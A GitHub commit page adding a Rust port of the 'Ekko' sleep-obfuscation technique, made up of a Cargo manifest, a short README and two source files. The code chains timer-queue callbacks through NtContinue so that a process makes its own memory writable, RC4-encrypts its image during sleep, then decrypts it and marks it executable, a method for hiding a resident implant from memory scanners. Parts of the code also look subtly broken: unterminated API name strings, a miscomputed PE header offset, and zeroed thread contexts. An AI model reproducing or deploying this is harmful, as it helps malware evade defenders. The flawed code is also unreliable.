Skip to content

Commit b427fbb

Browse files
authored
Ekko
Sleep Obfuscation Ekko in Rust
1 parent 0ab6aba commit b427fbb

File tree

4 files changed

+189
-0
lines changed

4 files changed

+189
-0
lines changed

Sleep_Obfuscations/Ekko/Cargo.toml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "Ekko"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "threadpoollegacyapiset", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
8+
ntapi = "0.4.1"
9+
user32-sys = "0.2.0"

Sleep_Obfuscations/Ekko/READMD.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
2+
<h1 align="center">
3+
<br>
4+
<img src="https://raw.githubusercontent.com/Cracked5pider/Ekko/main/ekko_logo.png">
5+
<br>
6+
Ekko
7+
</h1>
8+
9+
10+
This is just an POC of Sleep obfuscation written in Rust.
11+
12+
Credits goes to original author [@5pider](https://x.com/C5pider): https://github.com/Cracked5pider/Ekko.git

Sleep_Obfuscations/Ekko/src/ekko.rs

Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
extern crate winapi;
2+
3+
use std::mem;
4+
use std::ptr::null;
5+
use std::ptr::null_mut;
6+
use winapi::ctypes::c_void;
7+
use winapi::shared::ntdef::PVOID;
8+
use winapi::um::heapapi::GetProcessHeap;
9+
use winapi::um::libloaderapi::GetModuleHandleA;
10+
use winapi::um::libloaderapi::GetProcAddress;
11+
use winapi::um::libloaderapi::LoadLibraryA;
12+
use winapi::um::memoryapi::VirtualProtect;
13+
use winapi::um::synchapi::CreateEventW;
14+
use winapi::um::synchapi::SetEvent;
15+
use winapi::um::synchapi::WaitForSingleObject;
16+
use winapi::um::threadpoollegacyapiset::CreateTimerQueue;
17+
use winapi::um::threadpoollegacyapiset::CreateTimerQueueTimer;
18+
use winapi::um::winnt::RtlCaptureContext;
19+
use winapi::um::winnt::CONTEXT;
20+
use winapi::shared::ntdef::NTSTATUS;
21+
use winapi::um::winnt::WT_EXECUTEINTIMERTHREAD;
22+
23+
#[repr(C)]
24+
pub struct UString{
25+
length: u32,
26+
max_length: u32,
27+
buffer: *mut c_void,
28+
}
29+
30+
pub fn ekko(sleep_time: u32) {
31+
unsafe {
32+
let mut ctx_thread: CONTEXT = mem::zeroed();
33+
let mut rop_prot_rw: CONTEXT = mem::zeroed();
34+
let mut rop_mem_enc: CONTEXT = mem::zeroed();
35+
let mut rop_delay: CONTEXT = mem::zeroed();
36+
let mut rop_mem_dec: CONTEXT = mem::zeroed();
37+
let mut rop_prot_rx: CONTEXT = mem::zeroed();
38+
let mut rop_set_evt: CONTEXT = mem::zeroed();
39+
40+
let h_timer_queue = CreateTimerQueue();
41+
42+
let h_event = CreateEventW(
43+
null_mut(),
44+
0,
45+
0,
46+
null()
47+
);
48+
49+
let image_base = GetModuleHandleA(null());
50+
51+
let dos_header = image_base as *const u32;
52+
let e_lfanew = *dos_header.offset(0x3C);
53+
let nt_headers = image_base.add(e_lfanew as usize) as *const u8;
54+
let optional_header = nt_headers.add(24) as *const u32; // Assuming PE32+ structure
55+
56+
let image_size = *optional_header.offset(2); // SizeOfImage
57+
58+
let key_buf: [u8; 16] = [0x55; 16];
59+
60+
let key = UString{
61+
length: 16,
62+
max_length: 16,
63+
buffer: key_buf.as_ptr() as *mut c_void,
64+
};
65+
66+
let img = UString {
67+
length: image_size,
68+
max_length: image_size,
69+
buffer: image_base as *mut c_void,
70+
};
71+
72+
let sys_func_032 = GetProcAddress(LoadLibraryA("Advapi32.dll".as_ptr() as *const i8), "SystemFunction032".as_ptr() as *const i8);
73+
74+
let createtimerqueue = CreateTimerQueueTimer(
75+
&mut null_mut(),
76+
h_timer_queue,
77+
Some(timer_callback),
78+
&mut ctx_thread as *mut _ as *mut c_void,
79+
0,
80+
0,
81+
WT_EXECUTEINTIMERTHREAD,
82+
);
83+
84+
if createtimerqueue != 0 {
85+
WaitForSingleObject(h_event, 0x32);
86+
87+
rop_prot_rw.Rsp -= 8;
88+
rop_prot_rw.Rip = VirtualProtect as u64;
89+
rop_prot_rw.Rcx = image_base as u64;
90+
rop_prot_rw.Rdx = image_size as u64;
91+
rop_prot_rw.R8 = 0x04 as u64; // PAGE_READWRITE
92+
93+
rop_mem_enc.Rsp -= 8;
94+
rop_mem_enc.Rip = sys_func_032 as u64;
95+
rop_mem_enc.Rcx = &img as *const _ as u64;
96+
rop_mem_enc.Rdx = &key as *const _ as u64;
97+
98+
rop_delay.Rsp -= 8;
99+
rop_delay.Rip = WaitForSingleObject as u64;
100+
rop_delay.Rcx = GetProcessHeap() as u64;
101+
rop_delay.Rdx = sleep_time as u64;
102+
103+
rop_mem_dec.Rsp -= 8;
104+
rop_mem_dec.Rip = sys_func_032 as u64;
105+
rop_mem_dec.Rcx = &img as *const _ as u64;
106+
rop_mem_dec.Rdx = &key as *const _ as u64;
107+
108+
rop_prot_rx.Rsp -= 8;
109+
rop_prot_rx.Rip = VirtualProtect as u64;
110+
rop_prot_rx.Rcx = image_base as u64;
111+
rop_prot_rx.Rdx = image_size as u64;
112+
rop_prot_rx.R8 = 0x40 as u64; // PAGE_EXECUTE_READWRITE
113+
114+
rop_set_evt.Rsp -= 8;
115+
rop_set_evt.Rip = SetEvent as u64;
116+
rop_set_evt.Rcx = h_event as u64;
117+
118+
119+
// CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_prot_rw as *const _ as PVOID, 100, 0, WT_EXECUTEINTIMERTHREAD);
120+
// CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_mem_enc as *const _ as PVOID, 200, 0, WT_EXECUTEINTIMERTHREAD);
121+
// CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_delay as *const _ as PVOID, 300, 0, WT_EXECUTEINTIMERTHREAD);
122+
// CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_mem_dec as *const _ as PVOID, 400, 0, WT_EXECUTEINTIMERTHREAD);
123+
// CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_prot_rx as *const _ as PVOID, 500, 0, WT_EXECUTEINTIMERTHREAD);
124+
// CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_set_evt as *const _ as PVOID, 600, 0, WT_EXECUTEINTIMERTHREAD);
125+
126+
let mut h_new_timer: *mut c_void = null_mut();
127+
let mut delay = 100;
128+
129+
for ctx in [&rop_prot_rw, &rop_mem_enc, &rop_delay, &rop_mem_dec, &rop_prot_rx, &rop_set_evt] {
130+
if CreateTimerQueueTimer(&mut h_new_timer, h_timer_queue, Some(nt_continue_wrapper), ctx as *const _ as PVOID, delay, 0, WT_EXECUTEINTIMERTHREAD) != 0 {
131+
delay += 100;
132+
} else {
133+
println!("Failed to create timer");
134+
break;
135+
}
136+
}
137+
}
138+
}
139+
}
140+
141+
extern "system" fn timer_callback(lp_parameter: *mut winapi::ctypes::c_void, _dw_timer_low_value: u8) {
142+
let context = lp_parameter as *mut CONTEXT;
143+
unsafe {
144+
RtlCaptureContext(context);
145+
}
146+
}
147+
148+
extern "system" fn nt_continue_wrapper(lp_parameter: *mut winapi::ctypes::c_void, _dw_timer_low_value: u8) {
149+
let context = lp_parameter as *mut CONTEXT;
150+
unsafe {
151+
let nt_continue: unsafe extern "system" fn(*mut CONTEXT) -> NTSTATUS = std::mem::transmute(GetProcAddress(GetModuleHandleA("Ntdll\0".as_ptr() as *const _), "NtContinue\0".as_ptr() as *const _));
152+
nt_continue(context);
153+
}
154+
}

Sleep_Obfuscations/Ekko/src/main.rs

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
/*
2+
Sleep obfuscation in Rust by @5mukx
3+
Credit Goes to @C5ipder
4+
*/
5+
6+
mod ekko;
7+
fn main(){
8+
9+
println!("Ekko SLeep Obfuscation in Rust");
10+
11+
loop{
12+
ekko::ekko(4 * 1000);
13+
}
14+
}

0 commit comments

Comments
 (0)